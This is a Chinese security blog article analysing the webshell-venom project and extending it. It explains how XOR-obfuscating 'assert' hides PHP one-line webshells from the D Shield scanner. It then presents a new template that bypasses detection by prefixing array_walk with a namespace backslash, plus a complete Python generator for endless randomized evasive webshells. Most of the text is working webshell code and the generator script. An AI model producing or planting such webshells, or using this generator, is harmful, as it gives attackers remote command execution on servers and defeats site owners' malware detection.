随机异或无限免杀D盾之再免杀

注明:文章首发于安全客:https://www.anquanke.com/post/id/193042

项目分析

首先分析随机异或无限免杀D盾的github项目:https://github.com/yzddmr6/webshell-venom

1,首先分析其生成的木马样例:(当前已经不免杀)

<?php
class PXGF{
    function __destruct(){
        $RAFH='slvf*o'^"\x12\x1f\x5\x3\x58\x1b";
        return @$RAFH("$this->WSXP");
    }
}
$pxgf=new PXGF();
@$pxgf->WSXP=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

此木马中\(RAFH的值是由两串`'slvf*o'^"\x12\x1f\x5\x3\x58\x1b";`字符异或得到的,此异或结果为assert。即\)RAFH=assert,其中return @$RAFH("$this->WSXP");即为:$pxgf->WSXP是等于$this->WSXP,给$pxgf->WSXP如下赋值时,也就是给$this->WSXP如下赋值。即结果为:

return $RAFH("isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6']");

而RAFH又等于assert,即最后结果为:即一句话木马

return assert("isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6']");

这个利用随机异或无限免杀D盾的核心其实就是这个点了,至于异或个人认为也是很巧妙的,下面分析其利用随机异或生成payload的代码:

其生成的shellcode的模型如下:(当前免杀失效的主要原因个人认为还是此模型被杀了)

shell_form ='''<?php
class {class_name}{{
    function __destruct(){{
        ${var_name1}={func1};
        return @${var_name1}("$this->{var_name2}");
    }}
}}
${objname}=new {class_name}();
@${objname}->{var_name2}=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>'''

其实参考我对上述对木马样例分析,就很容易理解这个木马模型了,{class_name}、{var_name1}、{var_name2}、{objname}都是利用python代码随机生成的名称,随便写即可。下面需要说明的是{func1}值的生成。其实利用yzddmr6表哥的python生成的所有的不同点都在这{class_name}、{var_name1}、{var_name2}、{objname}、{func1}五个点,除了上述解释的模型是核心之外,就是这个{func1}了。

{func1}的生成过程如下:

首先查看gen_webshell()函数,即webshell生成函数:

def gen_webshell():
    class_name = random_name(4)
    objname = class_name.lower()
    webshell=shell_form.format(class_name=class_name,func_name=random_name(4),objname=objname,var_name1=random_name(4),var_name2=random_name(4),func1=gen_payload(func1))
    print(webshell)

我们可以很清楚的看到倒数第二行中有func1=gen_payload(func1)即func1是由gen_payload函数生成的,查看了整体代码得知其中gen_payload函数中的参数func1的值为assert,我继续查看gen_payload函数如下:

def gen_payload(func):
    func_line1 = ''
    func_line2 = ''
    key = random_keys(len(func))
    for i in range(0,len(func)):
        enc = xor(func[i],key[i])
        func_line1 += key[i]
        func_line2 += enc
    payload = '\'{0}\'^"{1}"'.format(func_line1,func_line2)
    return payload

这个函数中又包含了两个小函数random_keys()和xor(),那么我就先分析这两个小函数吧:

random_keys函数:

def random_keys(len):
    str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))

random_key函数是生成一个长度为len的随机字符串,字符串中的字符都取自str变量中,即取自`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

xor函数:

def xor(c1,c2):
    return hex(ord(c1)^ord(c2)).replace('0x',r"\x")

将字符c1和字符c2转换成ascii码后进行异或运算,再利用hex函数转换为十六进制,同时其中将0x转换成\x

好了,下面继续分析gen_payload函数:func是传入gen_payload(func)函数的参数,此处应该是assert,即一个命令执行的函数。然后计算出assert的长度,然后利用random_keys函数从字符串str中随机取出5个字符:赋值给key

key = random_keys(len(func))

利用for循环分别将func和key字符串中的字符一一取出,分别进行异或运算后,然后连接成了func_line2字符串,而将key字符串赋值给了func_line1字符串。

for i in range(0,len(func)):
        enc = xor(func[i],key[i])
        func_line1 += key[i]
        func_line2 += enc

最后就得到了payload:即字符串func_line2和字符串func_line1异或。而func_line2和字符串func_line1异或的结果应该是等于func的。原因如下:假设a^b=c,那么a=c^b,即异或是可逆的。此循环将func和key异或的值存放到了func_line2中,将key赋值给了func_line,即此处key=func_line1。最终结果等价于func^func_line1=func_line2,而return的结果是func_line2^func_line1,即最后return的几个依旧是func,即一个命令执行函数assert。只是为了避开d盾的查杀换了一种方式。

payload = '\'{0}\'^"{1}"'.format(func_line1,func_line2)

到这里就分析完成了,即shellcode的模型中的{func1}的值是利用随机异或生成函数gen_payload生成的,例如:

'rG!q-X'^"\x13\x34\x52\x14\x5f\x2c"

上诉字符串看似凌乱,但是其异或的结果依旧是assert。

综上所述:随机异或无限免杀D盾项目的核心点有两个:

1,此木马生成模板本身具备免杀性

2,利用随机异或隐藏了assert,eval等D盾敏感的命令执行函数。

免杀马再免杀

我就随便选择一种:利用回调函数构造的免杀马:

例如随便选择一个回调函数array_walk()即可构造如下木马:

<?php
function v01cano($aaa, $bbb){
    $ccc=$bbb;
    array_walk($aaa, $ccc);
}
$ddd = 'rG!q-X'^"\x13\x34\x52\x14\x5f\x2c";
v01cano(array($_POST['e']), $ddd);
?>

D盾报出了可能是木马级别是二级,原因是识别了array_walk函数。

接下来我们在array_walk前面加上命名空间\即可轻松绕过D盾:

<?php
function v01cano($aaa, $bbb){
    $ccc=$bbb;
    \array_walk($aaa, $ccc);
}
$ddd = 'rG!q-X'^"\x13\x34\x52\x14\x5f\x2c";
v01cano(array($_POST['e']), $ddd);
?>

那么接下来就可以参考yzddmr6表哥的方法使用我们新的免杀马模板来随机异或无限免杀D盾,只需修改yzddmr6表哥的免杀马模板部分即可。

即参考如上免杀马,修改模板为如下:

<?php
function {func_name}(${var_name1}, ${var_name2}){{
    ${var_name3}=${var_name2};
    \\array_walk(${var_name1}, ${var_name3});
}}
${var_name4} = {func1};
{func_name}(array($_POST['e']), ${var_name4});
?>

最终代码如下:

import random

# 命令执行函数
func1 = 'assert'

# 每次生成一个不同的变量(函数)名,长度为len
def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))

# 每次返回一个len长度的字符串(里面包含特殊字符,用于异或免杀)
def random_keys(len):
    str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    a = random.sample(str, len)
    return ''.join(a)

# 将字符c1和字符c2进行异或运算,同时将0x转换成\x
def xor(c1,c2):
    c = hex(ord(c1)^ord(c2))
    return c.replace('0x',r"\x")


# payload生成函数
def gen_payload(func):
    func_line1 = ''
    func_line2 = ''
    key = random_keys(len(func))
    for i in range(0,len(func)):
        enc = xor(func[i],key[i])
        func_line1 += key[i]
        func_line2 += enc
    payload = '\'{0}\'^"{1}"'.format(func_line1,func_line2)
    return payload


shell_form='''
<?php
function {func_name}(${var_name1}, ${var_name2}){{
    ${var_name3}=${var_name2};
    \\array_walk(${var_name1}, ${var_name3});
}}
${var_name4} = {func1};
{func_name}(array($_POST['e']), ${var_name4});
?>
'''

def gen_webshell():
    webshell=shell_form.format(func_name=random_name(4), var_name1=random_name(4), var_name2=random_name(4), var_name3=random_name(4), var_name4=random_name(4), func1=gen_payload(func1))
    print(webshell)


gen_webshell()

于是我们也就可以再次实现随机异或无限免杀D盾。

最后运行上诉python代码即可随机生成免杀马:

这样就又达到了免杀的效果。

其实个人认为此项目的核心就是我上诉所说的两点:

模板免杀应该是重中之重,各位表哥们也可以根据自己的需要简单修改即可。

关于免杀马的构造方法太多了,我就直接附上404表哥文章给大家参考:

https://xz.aliyun.com/t/5152

然后就是yzddmr6表哥的项目地址:思路很骚。

https://github.com/yzddmr6/webshell-venom

12-21 22:34